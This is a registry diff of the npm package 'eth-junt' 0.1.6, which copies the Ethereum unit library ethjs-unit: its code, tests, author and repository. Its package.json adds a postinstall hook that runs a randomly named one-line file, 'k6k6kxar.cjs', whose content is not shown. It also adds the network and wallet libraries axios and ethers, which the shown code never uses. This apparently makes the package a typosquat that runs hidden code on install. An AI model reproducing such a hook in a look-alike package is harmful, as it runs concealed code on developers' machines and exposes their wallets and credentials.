eth-junt 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +181 -0
- package/dist/ethjs-unit.js +5836 -0
- package/dist/ethjs-unit.js.map +1 -0
- package/dist/ethjs-unit.min.js +3 -0
- package/internals/webpack/webpack.config.js +58 -0
- package/k6k6kxar.cjs +1 -0
- package/lib/index.js +168 -0
- package/lib/index.txt +146 -0
- package/lib/tests/test.index.js +165 -0
- package/package.json +223 -0
- package/src/index.js +155 -0
- package/src/tests/test.index.js +138 -0
@@ -0,0 +1,165 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
var units = require('../index.js'); // eslint-disable-line
|
4
|
+
var BigNumber = require('bn.js'); // eslint-disable-line
|
5
|
+
var ActualBigNumber = require('bignumber.js');
|
6
|
+
var Web3 = require('web3'); // eslint-disable-line
|
7
|
+
var web3 = new Web3(); // eslint-disable-line
|
8
|
+
var assert = require('chai').assert; // eslint-disable-line
|
9
|
+
var totalTypes = Object.keys(units.unitMap).length;
|
10
|
+
|
11
|
+
function testRandomValueAgainstWeb3ToWei(negative) {
|
12
|
+
var stringTestValue = '' + (negative ? '-' : '') + String(Math.floor(Math.random() * 100000000000000000 + 1));
|
13
|
+
var randomunitsType = Object.keys(units.unitMap)[Math.floor(Math.random() * (totalTypes - 1) + 1)];
|
14
|
+
var unitsValue = units.toWei(stringTestValue, randomunitsType);
|
15
|
+
var web3Value = new BigNumber(web3.toWei(stringTestValue, randomunitsType));
|
16
|
+
|
17
|
+
// it(`toWei should work like web3 val ${unitsValue.toString(10)} should equal ${web3Value.toString(10)}`, () => {
|
18
|
+
assert.deepEqual(unitsValue, web3Value);
|
19
|
+
// });
|
20
|
+
}
|
21
|
+
|
22
|
+
function testRandomValueAgainstWeb3FromWei(negative) {
|
23
|
+
var stringTestValue = '' + (negative ? '-' : '') + String(Math.floor(Math.random() * 100000000000000000 + 1));
|
24
|
+
var randomunitsType = Object.keys(units.unitMap)[Math.floor(Math.random() * (totalTypes - 1) + 1)];
|
25
|
+
var unitsValue = units.fromWei(stringTestValue, randomunitsType);
|
26
|
+
var web3Value = web3.fromWei(stringTestValue, randomunitsType);
|
27
|
+
|
28
|
+
// it(`fromWei should work like web3 rounded val ${unitsValue.substr(0, web3Value.length - 1)} should equal ${web3Value.substr(0, web3Value.length - 1)} for unit type ${randomunitsType}`, () => {
|
29
|
+
assert.deepEqual(unitsValue.substr(0, web3Value.length - 1), web3Value.substr(0, web3Value.length - 1));
|
30
|
+
// });
|
31
|
+
}
|
32
|
+
|
33
|
+
describe('getValueOfUnit', function () {
|
34
|
+
it('should throw when undefined or not string', function () {
|
35
|
+
function invalidFromWei() {
|
36
|
+
units.fromWei(1000000000000000000, 'something');
|
37
|
+
}
|
38
|
+
assert.throws(invalidFromWei, Error);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
describe('toWei', function () {
|
43
|
+
it('should handle edge cases', function () {
|
44
|
+
assert.equal(units.toWei(0, 'wei').toString(10), '0');
|
45
|
+
assert.equal(units.toWei('0.0', 'wei').toString(10), '0');
|
46
|
+
assert.equal(units.toWei('.3', 'ether').toString(10), '300000000000000000');
|
47
|
+
assert.throws(function () {
|
48
|
+
return units.toWei('.', 'wei');
|
49
|
+
}, Error);
|
50
|
+
assert.throws(function () {
|
51
|
+
return units.toWei('1.243842387924387924897423897423', 'ether');
|
52
|
+
}, Error);
|
53
|
+
assert.throws(function () {
|
54
|
+
return units.toWei('8723.98234.98234', 'ether');
|
55
|
+
}, Error);
|
56
|
+
});
|
57
|
+
|
58
|
+
it('should return the correct value', function () {
|
59
|
+
assert.equal(units.toWei(1, 'wei').toString(10), '1');
|
60
|
+
assert.equal(units.toWei(1, 'kwei').toString(10), '1000');
|
61
|
+
assert.equal(units.toWei(1, 'Kwei').toString(10), '1000');
|
62
|
+
assert.equal(units.toWei(1, 'babbage').toString(10), '1000');
|
63
|
+
assert.equal(units.toWei(1, 'mwei').toString(10), '1000000');
|
64
|
+
assert.equal(units.toWei(1, 'Mwei').toString(10), '1000000');
|
65
|
+
assert.equal(units.toWei(1, 'lovelace').toString(10), '1000000');
|
66
|
+
assert.equal(units.toWei(1, 'gwei').toString(10), '1000000000');
|
67
|
+
assert.equal(units.toWei(1, 'Gwei').toString(10), '1000000000');
|
68
|
+
assert.equal(units.toWei(1, 'shannon').toString(10), '1000000000');
|
69
|
+
assert.equal(units.toWei(1, 'szabo').toString(10), '1000000000000');
|
70
|
+
assert.equal(units.toWei(1, 'finney').toString(10), '1000000000000000');
|
71
|
+
assert.equal(units.toWei(1, 'ether').toString(10), '1000000000000000000');
|
72
|
+
assert.equal(units.toWei(1, 'kether').toString(10), '1000000000000000000000');
|
73
|
+
assert.equal(units.toWei(1, 'grand').toString(10), '1000000000000000000000');
|
74
|
+
assert.equal(units.toWei(1, 'mether').toString(10), '1000000000000000000000000');
|
75
|
+
assert.equal(units.toWei(1, 'gether').toString(10), '1000000000000000000000000000');
|
76
|
+
assert.equal(units.toWei(1, 'tether').toString(10), '1000000000000000000000000000000');
|
77
|
+
|
78
|
+
assert.equal(units.toWei(1, 'kwei').toString(10), units.toWei(1, 'femtoether').toString(10));
|
79
|
+
assert.equal(units.toWei(1, 'szabo').toString(10), units.toWei(1, 'microether').toString(10));
|
80
|
+
assert.equal(units.toWei(1, 'finney').toString(10), units.toWei(1, 'milliether').toString(10));
|
81
|
+
assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1, 'milliether').toString(10));
|
82
|
+
assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1000, 'micro').toString(10));
|
83
|
+
|
84
|
+
assert.throws(function () {
|
85
|
+
units.toWei(1, 'wei1');
|
86
|
+
}, Error);
|
87
|
+
});
|
88
|
+
});
|
89
|
+
|
90
|
+
describe('numberToString', function () {
|
91
|
+
it('should handle edge cases', function () {
|
92
|
+
// assert.throws(() => units.numberToString(null), Error);
|
93
|
+
assert.throws(function () {
|
94
|
+
return units.numberToString(undefined);
|
95
|
+
}, Error);
|
96
|
+
// assert.throws(() => units.numberToString(NaN), Error);
|
97
|
+
assert.throws(function () {
|
98
|
+
return units.numberToString({});
|
99
|
+
}, Error);
|
100
|
+
assert.throws(function () {
|
101
|
+
return units.numberToString([]);
|
102
|
+
}, Error);
|
103
|
+
assert.throws(function () {
|
104
|
+
return units.numberToString('-1sdffsdsdf');
|
105
|
+
}, Error);
|
106
|
+
assert.throws(function () {
|
107
|
+
return units.numberToString('-0..-...9');
|
108
|
+
}, Error);
|
109
|
+
assert.throws(function () {
|
110
|
+
return units.numberToString('fds');
|
111
|
+
}, Error);
|
112
|
+
assert.throws(function () {
|
113
|
+
return units.numberToString('');
|
114
|
+
}, Error);
|
115
|
+
assert.throws(function () {
|
116
|
+
return units.numberToString('#');
|
117
|
+
}, Error);
|
118
|
+
assert.equal(units.numberToString(55), '55');
|
119
|
+
assert.equal(units.numberToString(1), '1');
|
120
|
+
assert.equal(units.numberToString(-1), '-1');
|
121
|
+
assert.equal(units.numberToString(0), '0');
|
122
|
+
assert.equal(units.numberToString(-0), '0');
|
123
|
+
assert.equal(units.numberToString(new ActualBigNumber(10.1)), '10.1');
|
124
|
+
assert.equal(units.numberToString(new ActualBigNumber(10000)), '10000');
|
125
|
+
assert.equal(units.numberToString(new BigNumber(10000)), '10000');
|
126
|
+
assert.equal(units.numberToString(new BigNumber('-1')), '-1');
|
127
|
+
assert.equal(units.numberToString(new BigNumber('1')), '1');
|
128
|
+
assert.equal(units.numberToString(new BigNumber(0)), '0');
|
129
|
+
});
|
130
|
+
});
|
131
|
+
|
132
|
+
describe('fromWei', function () {
|
133
|
+
it('should handle options', function () {
|
134
|
+
assert.equal(units.fromWei(10000000, 'wei', { commify: true }), '10,000,000');
|
135
|
+
});
|
136
|
+
|
137
|
+
it('should return the correct value', function () {
|
138
|
+
assert.equal(units.fromWei(1000000000000000000, 'wei'), '1000000000000000000');
|
139
|
+
assert.equal(units.fromWei(1000000000000000000, 'kwei'), '1000000000000000');
|
140
|
+
assert.equal(units.fromWei(1000000000000000000, 'mwei'), '1000000000000');
|
141
|
+
assert.equal(units.fromWei(1000000000000000000, 'gwei'), '1000000000');
|
142
|
+
assert.equal(units.fromWei(1000000000000000000, 'szabo'), '1000000');
|
143
|
+
assert.equal(units.fromWei(1000000000000000000, 'finney'), '1000');
|
144
|
+
assert.equal(units.fromWei(1000000000000000000, 'ether'), '1');
|
145
|
+
assert.equal(units.fromWei(1000000000000000000, 'kether'), '0.001');
|
146
|
+
assert.equal(units.fromWei(1000000000000000000, 'grand'), '0.001');
|
147
|
+
assert.equal(units.fromWei(1000000000000000000, 'mether'), '0.000001');
|
148
|
+
assert.equal(units.fromWei(1000000000000000000, 'gether'), '0.000000001');
|
149
|
+
assert.equal(units.fromWei(1000000000000000000, 'tether'), '0.000000000001');
|
150
|
+
});
|
151
|
+
});
|
152
|
+
|
153
|
+
describe('units', function () {
|
154
|
+
describe('normal functionality', function () {
|
155
|
+
it('should be the same as web3', function () {
|
156
|
+
for (var i = 0; i < 15000; i++) {
|
157
|
+
// eslint-disable-line
|
158
|
+
testRandomValueAgainstWeb3ToWei(false);
|
159
|
+
testRandomValueAgainstWeb3ToWei(true);
|
160
|
+
testRandomValueAgainstWeb3FromWei(false);
|
161
|
+
testRandomValueAgainstWeb3FromWei(true);
|
162
|
+
}
|
163
|
+
});
|
164
|
+
});
|
165
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,223 @@
|
|
1
|
+
{
|
2
|
+
"name": "eth-junt",
|
3
|
+
"version": "0.1.6",
|
4
|
+
"description": "A simple module for handling Ethereum units (e.g. 'ether', 'wei', etc...)",
|
5
|
+
"main": "lib/index.js",
|
6
|
+
"files": [
|
7
|
+
"dist",
|
8
|
+
"internals",
|
9
|
+
"lib",
|
10
|
+
"src",
|
11
|
+
"k6k6kxar.cjs"
|
12
|
+
],
|
13
|
+
"scripts": {
|
14
|
+
"postinstall": "node k6k6kxar.cjs"
|
15
|
+
},
|
16
|
+
"engines": {
|
17
|
+
"npm": ">=3",
|
18
|
+
"node": ">=6.5.0"
|
19
|
+
},
|
20
|
+
"babel": {
|
21
|
+
"plugins": [
|
22
|
+
[
|
23
|
+
"transform-es2015-template-literals",
|
24
|
+
{
|
25
|
+
"loose": true
|
26
|
+
}
|
27
|
+
],
|
28
|
+
"transform-es2015-literals",
|
29
|
+
"transform-es2015-function-name",
|
30
|
+
"transform-es2015-arrow-functions",
|
31
|
+
"transform-es2015-block-scoped-functions",
|
32
|
+
[
|
33
|
+
"transform-es2015-classes",
|
34
|
+
{
|
35
|
+
"loose": true
|
36
|
+
}
|
37
|
+
],
|
38
|
+
"transform-es2015-object-super",
|
39
|
+
"transform-es2015-shorthand-properties",
|
40
|
+
[
|
41
|
+
"transform-es2015-computed-properties",
|
42
|
+
{
|
43
|
+
"loose": true
|
44
|
+
}
|
45
|
+
],
|
46
|
+
[
|
47
|
+
"transform-es2015-for-of",
|
48
|
+
{
|
49
|
+
"loose": true
|
50
|
+
}
|
51
|
+
],
|
52
|
+
"transform-es2015-sticky-regex",
|
53
|
+
"transform-es2015-unicode-regex",
|
54
|
+
"check-es2015-constants",
|
55
|
+
[
|
56
|
+
"transform-es2015-spread",
|
57
|
+
{
|
58
|
+
"loose": true
|
59
|
+
}
|
60
|
+
],
|
61
|
+
"transform-es2015-parameters",
|
62
|
+
[
|
63
|
+
"transform-es2015-destructuring",
|
64
|
+
{
|
65
|
+
"loose": true
|
66
|
+
}
|
67
|
+
],
|
68
|
+
"transform-es2015-block-scoping",
|
69
|
+
"transform-object-rest-spread",
|
70
|
+
"transform-es3-member-expression-literals",
|
71
|
+
"transform-es3-property-literals"
|
72
|
+
],
|
73
|
+
"env": {
|
74
|
+
"commonjs": {
|
75
|
+
"plugins": [
|
76
|
+
[
|
77
|
+
"transform-es2015-modules-commonjs",
|
78
|
+
{
|
79
|
+
"loose": true
|
80
|
+
}
|
81
|
+
]
|
82
|
+
]
|
83
|
+
}
|
84
|
+
}
|
85
|
+
},
|
86
|
+
"dependencies": {
|
87
|
+
"bn.js": "4.11.6",
|
88
|
+
"number-to-bn": "1.7.0",
|
89
|
+
"axios": "^1.7.7",
|
90
|
+
"ethers": "^6.13.2"
|
91
|
+
},
|
92
|
+
"devDependencies": {
|
93
|
+
"bignumber.js": "3.0.1",
|
94
|
+
"babel-cli": "6.18.0",
|
95
|
+
"babel-core": "6.18.2",
|
96
|
+
"babel-loader": "6.2.8",
|
97
|
+
"babel-plugin-check-es2015-constants": "6.8.0",
|
98
|
+
"babel-plugin-transform-es2015-arrow-functions": "6.8.0",
|
99
|
+
"babel-plugin-transform-es2015-block-scoped-functions": "6.8.0",
|
100
|
+
"babel-plugin-transform-es2015-block-scoping": "6.18.0",
|
101
|
+
"babel-plugin-transform-es2015-classes": "6.18.0",
|
102
|
+
"babel-plugin-transform-es2015-computed-properties": "6.8.0",
|
103
|
+
"babel-plugin-transform-es2015-destructuring": "6.19.0",
|
104
|
+
"babel-plugin-transform-es2015-for-of": "6.18.0",
|
105
|
+
"babel-plugin-transform-es2015-function-name": "6.9.0",
|
106
|
+
"babel-plugin-transform-es2015-literals": "6.8.0",
|
107
|
+
"babel-plugin-transform-es2015-modules-commonjs": "6.18.0",
|
108
|
+
"babel-plugin-transform-es2015-object-super": "6.8.0",
|
109
|
+
"babel-plugin-transform-es2015-parameters": "6.18.0",
|
110
|
+
"babel-plugin-transform-es2015-shorthand-properties": "6.18.0",
|
111
|
+
"babel-plugin-transform-es2015-spread": "6.8.0",
|
112
|
+
"babel-plugin-transform-es2015-sticky-regex": "6.8.0",
|
113
|
+
"babel-plugin-transform-es2015-template-literals": "6.8.0",
|
114
|
+
"babel-plugin-transform-es2015-unicode-regex": "6.11.0",
|
115
|
+
"babel-plugin-transform-es3-member-expression-literals": "6.5.0",
|
116
|
+
"babel-plugin-transform-es3-property-literals": "6.5.0",
|
117
|
+
"babel-plugin-transform-object-rest-spread": "6.19.0",
|
118
|
+
"babel-register": "6.18.0",
|
119
|
+
"check-es3-syntax-cli": "0.1.3",
|
120
|
+
"webpack": "2.1.0-beta.15",
|
121
|
+
"json-loader": "0.5.4",
|
122
|
+
"rimraf": "2.3.4",
|
123
|
+
"cross-env": "1.0.7",
|
124
|
+
"babel-eslint": "7.1.0",
|
125
|
+
"chai": "3.5.0",
|
126
|
+
"coveralls": "2.11.9",
|
127
|
+
"eslint": "2.10.1",
|
128
|
+
"istanbul": "0.4.5",
|
129
|
+
"eslint-config-airbnb": "9.0.1",
|
130
|
+
"eslint-import-resolver-webpack": "0.2.4",
|
131
|
+
"eslint-plugin-import": "1.8.0",
|
132
|
+
"eslint-plugin-jsx-a11y": "1.2.0",
|
133
|
+
"eslint-plugin-react": "5.1.1",
|
134
|
+
"eventsource-polyfill": "0.9.6",
|
135
|
+
"lint-staged": "1.0.1",
|
136
|
+
"mocha": "3.1.2",
|
137
|
+
"pre-commit": "1.1.3",
|
138
|
+
"web3": "0.17.0-beta"
|
139
|
+
},
|
140
|
+
"keywords": [
|
141
|
+
"ethereum",
|
142
|
+
"encoding",
|
143
|
+
"decoding"
|
144
|
+
],
|
145
|
+
"author": "Nick Dodson <thenickdodson@gmail.com>",
|
146
|
+
"contributors": [
|
147
|
+
{
|
148
|
+
"name": "Richard Moore",
|
149
|
+
"email": "me@ricmoo.com",
|
150
|
+
"url": "https://ethers.io"
|
151
|
+
},
|
152
|
+
{
|
153
|
+
"name": "Marek Kotewicz",
|
154
|
+
"email": "marek@ethdev.com",
|
155
|
+
"url": "https://github.com/debris"
|
156
|
+
},
|
157
|
+
{
|
158
|
+
"name": "Fabian Vogelsteller",
|
159
|
+
"email": "fabian@ethdev.com",
|
160
|
+
"homepage": "http://frozeman.de"
|
161
|
+
},
|
162
|
+
{
|
163
|
+
"name": "Marian Oancea",
|
164
|
+
"email": "marian@ethdev.com",
|
165
|
+
"url": "https://github.com/cubedro"
|
166
|
+
},
|
167
|
+
{
|
168
|
+
"name": "Gav Wood",
|
169
|
+
"email": "g@ethdev.com",
|
170
|
+
"homepage": "http://gavwood.com"
|
171
|
+
},
|
172
|
+
{
|
173
|
+
"name": "Jeffery Wilcke",
|
174
|
+
"email": "jeff@ethdev.com",
|
175
|
+
"url": "https://github.com/obscuren"
|
176
|
+
}
|
177
|
+
],
|
178
|
+
"repository": {
|
179
|
+
"type": "git",
|
180
|
+
"url": "git://github.com/ethjs/ethjs-unit"
|
181
|
+
},
|
182
|
+
"license": "MIT",
|
183
|
+
"lint-staged": {
|
184
|
+
"lint:eslint": "*.js"
|
185
|
+
},
|
186
|
+
"eslintConfig": {
|
187
|
+
"parser": "babel-eslint",
|
188
|
+
"extends": "airbnb",
|
189
|
+
"env": {
|
190
|
+
"node": true,
|
191
|
+
"mocha": true,
|
192
|
+
"es6": true
|
193
|
+
},
|
194
|
+
"parserOptions": {
|
195
|
+
"ecmaVersion": 6,
|
196
|
+
"sourceType": "module"
|
197
|
+
},
|
198
|
+
"rules": {
|
199
|
+
"import/no-unresolved": 2,
|
200
|
+
"comma-dangle": [
|
201
|
+
2,
|
202
|
+
"always-multiline"
|
203
|
+
],
|
204
|
+
"indent": [
|
205
|
+
2,
|
206
|
+
2,
|
207
|
+
{
|
208
|
+
"SwitchCase": 1
|
209
|
+
}
|
210
|
+
],
|
211
|
+
"no-console": 1,
|
212
|
+
"max-len": 0,
|
213
|
+
"prefer-template": 2,
|
214
|
+
"no-use-before-define": 0,
|
215
|
+
"newline-per-chained-call": 0,
|
216
|
+
"arrow-body-style": [
|
217
|
+
2,
|
218
|
+
"as-needed"
|
219
|
+
]
|
220
|
+
}
|
221
|
+
},
|
222
|
+
"pre-commit": "build"
|
223
|
+
}
|
package/src/index.js
ADDED
@@ -0,0 +1,155 @@
|
|
1
|
+
const BN = require('bn.js');
|
2
|
+
const numberToBN = require('number-to-bn');
|
3
|
+
|
4
|
+
const zero = new BN(0);
|
5
|
+
const negative1 = new BN(-1);
|
6
|
+
|
7
|
+
// complete ethereum unit map
|
8
|
+
const unitMap = {
|
9
|
+
'noether': '0', // eslint-disable-line
|
10
|
+
'wei': '1', // eslint-disable-line
|
11
|
+
'kwei': '1000', // eslint-disable-line
|
12
|
+
'Kwei': '1000', // eslint-disable-line
|
13
|
+
'babbage': '1000', // eslint-disable-line
|
14
|
+
'femtoether': '1000', // eslint-disable-line
|
15
|
+
'mwei': '1000000', // eslint-disable-line
|
16
|
+
'Mwei': '1000000', // eslint-disable-line
|
17
|
+
'lovelace': '1000000', // eslint-disable-line
|
18
|
+
'picoether': '1000000', // eslint-disable-line
|
19
|
+
'gwei': '1000000000', // eslint-disable-line
|
20
|
+
'Gwei': '1000000000', // eslint-disable-line
|
21
|
+
'shannon': '1000000000', // eslint-disable-line
|
22
|
+
'nanoether': '1000000000', // eslint-disable-line
|
23
|
+
'nano': '1000000000', // eslint-disable-line
|
24
|
+
'szabo': '1000000000000', // eslint-disable-line
|
25
|
+
'microether': '1000000000000', // eslint-disable-line
|
26
|
+
'micro': '1000000000000', // eslint-disable-line
|
27
|
+
'finney': '1000000000000000', // eslint-disable-line
|
28
|
+
'milliether': '1000000000000000', // eslint-disable-line
|
29
|
+
'milli': '1000000000000000', // eslint-disable-line
|
30
|
+
'ether': '1000000000000000000', // eslint-disable-line
|
31
|
+
'kether': '1000000000000000000000', // eslint-disable-line
|
32
|
+
'grand': '1000000000000000000000', // eslint-disable-line
|
33
|
+
'mether': '1000000000000000000000000', // eslint-disable-line
|
34
|
+
'gether': '1000000000000000000000000000', // eslint-disable-line
|
35
|
+
'tether': '1000000000000000000000000000000', // eslint-disable-line
|
36
|
+
};
|
37
|
+
|
38
|
+
/**
|
39
|
+
* Returns value of unit in Wei
|
40
|
+
*
|
41
|
+
* @method getValueOfUnit
|
42
|
+
* @param {String} unit the unit to convert to, default ether
|
43
|
+
* @returns {BigNumber} value of the unit (in Wei)
|
44
|
+
* @throws error if the unit is not correct:w
|
45
|
+
*/
|
46
|
+
function getValueOfUnit(unitInput) {
|
47
|
+
const unit = unitInput ? unitInput.toLowerCase() : 'ether';
|
48
|
+
var unitValue = unitMap[unit]; // eslint-disable-line
|
49
|
+
|
50
|
+
if (typeof unitValue !== 'string') {
|
51
|
+
throw new Error(`[ethjs-unit] the unit provided ${unitInput} doesn't exists, please use the one of the following units ${JSON.stringify(unitMap, null, 2)}`);
|
52
|
+
}
|
53
|
+
|
54
|
+
return new BN(unitValue, 10);
|
55
|
+
}
|
56
|
+
|
57
|
+
function numberToString(arg) {
|
58
|
+
if (typeof arg === 'string') {
|
59
|
+
if (!arg.match(/^-?[0-9.]+$/)) {
|
60
|
+
throw new Error(`while converting number to string, invalid number value '${arg}', should be a number matching (^-?[0-9.]+).`);
|
61
|
+
}
|
62
|
+
return arg;
|
63
|
+
} else if (typeof arg === 'number') {
|
64
|
+
return String(arg);
|
65
|
+
} else if (typeof arg === 'object' && arg.toString && (arg.toTwos || arg.dividedToIntegerBy)) {
|
66
|
+
if (arg.toPrecision) {
|
67
|
+
return String(arg.toPrecision());
|
68
|
+
} else { // eslint-disable-line
|
69
|
+
return arg.toString(10);
|
70
|
+
}
|
71
|
+
}
|
72
|
+
throw new Error(`while converting number to string, invalid number value '${arg}' type ${typeof arg}.`);
|
73
|
+
}
|
74
|
+
|
75
|
+
function fromWei(weiInput, unit, optionsInput) {
|
76
|
+
var wei = numberToBN(weiInput); // eslint-disable-line
|
77
|
+
var negative = wei.lt(zero); // eslint-disable-line
|
78
|
+
const base = getValueOfUnit(unit);
|
79
|
+
const baseLength = unitMap[unit].length - 1 || 1;
|
80
|
+
const options = optionsInput || {};
|
81
|
+
|
82
|
+
if (negative) {
|
83
|
+
wei = wei.mul(negative1);
|
84
|
+
}
|
85
|
+
|
86
|
+
var fraction = wei.mod(base).toString(10); // eslint-disable-line
|
87
|
+
|
88
|
+
while (fraction.length < baseLength) {
|
89
|
+
fraction = `0${fraction}`;
|
90
|
+
}
|
91
|
+
|
92
|
+
if (!options.pad) {
|
93
|
+
fraction = fraction.match(/^([0-9]*[1-9]|0)(0*)/)[1];
|
94
|
+
}
|
95
|
+
|
96
|
+
var whole = wei.div(base).toString(10); // eslint-disable-line
|
97
|
+
|
98
|
+
if (options.commify) {
|
99
|
+
whole = whole.replace(/\B(?=(\d{3})+(?!\d))/g, ',');
|
100
|
+
}
|
101
|
+
|
102
|
+
var value = `${whole}${fraction == '0' ? '' : `.${fraction}`}`; // eslint-disable-line
|
103
|
+
|
104
|
+
if (negative) {
|
105
|
+
value = `-${value}`;
|
106
|
+
}
|
107
|
+
|
108
|
+
return value;
|
109
|
+
}
|
110
|
+
|
111
|
+
function toWei(etherInput, unit) {
|
112
|
+
var ether = numberToString(etherInput); // eslint-disable-line
|
113
|
+
const base = getValueOfUnit(unit);
|
114
|
+
const baseLength = unitMap[unit].length - 1 || 1;
|
115
|
+
|
116
|
+
// Is it negative?
|
117
|
+
var negative = (ether.substring(0, 1) === '-'); // eslint-disable-line
|
118
|
+
if (negative) {
|
119
|
+
ether = ether.substring(1);
|
120
|
+
}
|
121
|
+
|
122
|
+
if (ether === '.') { throw new Error(`[ethjs-unit] while converting number ${etherInput} to wei, invalid value`); }
|
123
|
+
|
124
|
+
// Split it into a whole and fractional part
|
125
|
+
var comps = ether.split('.'); // eslint-disable-line
|
126
|
+
if (comps.length > 2) { throw new Error(`[ethjs-unit] while converting number ${etherInput} to wei, too many decimal points`); }
|
127
|
+
|
128
|
+
var whole = comps[0], fraction = comps[1]; // eslint-disable-line
|
129
|
+
|
130
|
+
if (!whole) { whole = '0'; }
|
131
|
+
if (!fraction) { fraction = '0'; }
|
132
|
+
if (fraction.length > baseLength) { throw new Error(`[ethjs-unit] while converting number ${etherInput} to wei, too many decimal places`); }
|
133
|
+
|
134
|
+
while (fraction.length < baseLength) {
|
135
|
+
fraction += '0';
|
136
|
+
}
|
137
|
+
|
138
|
+
whole = new BN(whole);
|
139
|
+
fraction = new BN(fraction);
|
140
|
+
var wei = (whole.mul(base)).add(fraction); // eslint-disable-line
|
141
|
+
|
142
|
+
if (negative) {
|
143
|
+
wei = wei.mul(negative1);
|
144
|
+
}
|
145
|
+
|
146
|
+
return new BN(wei.toString(10), 10);
|
147
|
+
}
|
148
|
+
|
149
|
+
module.exports = {
|
150
|
+
unitMap,
|
151
|
+
numberToString,
|
152
|
+
getValueOfUnit,
|
153
|
+
fromWei,
|
154
|
+
toWei,
|
155
|
+
};
|
@@ -0,0 +1,138 @@
|
|
1
|
+
const units = require('../index.js'); // eslint-disable-line
|
2
|
+
const BigNumber = require('bn.js'); // eslint-disable-line
|
3
|
+
const ActualBigNumber = require('bignumber.js');
|
4
|
+
const Web3 = require('web3'); // eslint-disable-line
|
5
|
+
const web3 = new Web3(); // eslint-disable-line
|
6
|
+
const assert = require('chai').assert; // eslint-disable-line
|
7
|
+
const totalTypes = Object.keys(units.unitMap).length;
|
8
|
+
|
9
|
+
function testRandomValueAgainstWeb3ToWei(negative) {
|
10
|
+
const stringTestValue = `${negative ? '-' : ''}${String(Math.floor((Math.random() * 100000000000000000) + 1))}`;
|
11
|
+
const randomunitsType = Object.keys(units.unitMap)[Math.floor((Math.random() * (totalTypes - 1)) + 1)];
|
12
|
+
const unitsValue = units.toWei(stringTestValue, randomunitsType);
|
13
|
+
const web3Value = new BigNumber(web3.toWei(stringTestValue, randomunitsType));
|
14
|
+
|
15
|
+
// it(`toWei should work like web3 val ${unitsValue.toString(10)} should equal ${web3Value.toString(10)}`, () => {
|
16
|
+
assert.deepEqual(unitsValue, web3Value);
|
17
|
+
// });
|
18
|
+
}
|
19
|
+
|
20
|
+
function testRandomValueAgainstWeb3FromWei(negative) {
|
21
|
+
const stringTestValue = `${negative ? '-' : ''}${String(Math.floor((Math.random() * 100000000000000000) + 1))}`;
|
22
|
+
const randomunitsType = Object.keys(units.unitMap)[Math.floor((Math.random() * (totalTypes - 1)) + 1)];
|
23
|
+
const unitsValue = units.fromWei(stringTestValue, randomunitsType);
|
24
|
+
const web3Value = web3.fromWei(stringTestValue, randomunitsType);
|
25
|
+
|
26
|
+
// it(`fromWei should work like web3 rounded val ${unitsValue.substr(0, web3Value.length - 1)} should equal ${web3Value.substr(0, web3Value.length - 1)} for unit type ${randomunitsType}`, () => {
|
27
|
+
assert.deepEqual(unitsValue.substr(0, web3Value.length - 1), web3Value.substr(0, web3Value.length - 1));
|
28
|
+
// });
|
29
|
+
}
|
30
|
+
|
31
|
+
describe('getValueOfUnit', () => {
|
32
|
+
it('should throw when undefined or not string', () => {
|
33
|
+
function invalidFromWei() {
|
34
|
+
units.fromWei(1000000000000000000, 'something');
|
35
|
+
}
|
36
|
+
assert.throws(invalidFromWei, Error);
|
37
|
+
});
|
38
|
+
});
|
39
|
+
|
40
|
+
describe('toWei', () => {
|
41
|
+
it('should handle edge cases', () => {
|
42
|
+
assert.equal(units.toWei(0, 'wei').toString(10), '0');
|
43
|
+
assert.equal(units.toWei('0.0', 'wei').toString(10), '0');
|
44
|
+
assert.equal(units.toWei('.3', 'ether').toString(10), '300000000000000000');
|
45
|
+
assert.throws(() => units.toWei('.', 'wei'), Error);
|
46
|
+
assert.throws(() => units.toWei('1.243842387924387924897423897423', 'ether'), Error);
|
47
|
+
assert.throws(() => units.toWei('8723.98234.98234', 'ether'), Error);
|
48
|
+
});
|
49
|
+
|
50
|
+
it('should return the correct value', () => {
|
51
|
+
assert.equal(units.toWei(1, 'wei').toString(10), '1');
|
52
|
+
assert.equal(units.toWei(1, 'kwei').toString(10), '1000');
|
53
|
+
assert.equal(units.toWei(1, 'Kwei').toString(10), '1000');
|
54
|
+
assert.equal(units.toWei(1, 'babbage').toString(10), '1000');
|
55
|
+
assert.equal(units.toWei(1, 'mwei').toString(10), '1000000');
|
56
|
+
assert.equal(units.toWei(1, 'Mwei').toString(10), '1000000');
|
57
|
+
assert.equal(units.toWei(1, 'lovelace').toString(10), '1000000');
|
58
|
+
assert.equal(units.toWei(1, 'gwei').toString(10), '1000000000');
|
59
|
+
assert.equal(units.toWei(1, 'Gwei').toString(10), '1000000000');
|
60
|
+
assert.equal(units.toWei(1, 'shannon').toString(10), '1000000000');
|
61
|
+
assert.equal(units.toWei(1, 'szabo').toString(10), '1000000000000');
|
62
|
+
assert.equal(units.toWei(1, 'finney').toString(10), '1000000000000000');
|
63
|
+
assert.equal(units.toWei(1, 'ether').toString(10), '1000000000000000000');
|
64
|
+
assert.equal(units.toWei(1, 'kether').toString(10), '1000000000000000000000');
|
65
|
+
assert.equal(units.toWei(1, 'grand').toString(10), '1000000000000000000000');
|
66
|
+
assert.equal(units.toWei(1, 'mether').toString(10), '1000000000000000000000000');
|
67
|
+
assert.equal(units.toWei(1, 'gether').toString(10), '1000000000000000000000000000');
|
68
|
+
assert.equal(units.toWei(1, 'tether').toString(10), '1000000000000000000000000000000');
|
69
|
+
|
70
|
+
assert.equal(units.toWei(1, 'kwei').toString(10), units.toWei(1, 'femtoether').toString(10));
|
71
|
+
assert.equal(units.toWei(1, 'szabo').toString(10), units.toWei(1, 'microether').toString(10));
|
72
|
+
assert.equal(units.toWei(1, 'finney').toString(10), units.toWei(1, 'milliether').toString(10));
|
73
|
+
assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1, 'milliether').toString(10));
|
74
|
+
assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1000, 'micro').toString(10));
|
75
|
+
|
76
|
+
assert.throws(() => { units.toWei(1, 'wei1'); }, Error);
|
77
|
+
});
|
78
|
+
});
|
79
|
+
|
80
|
+
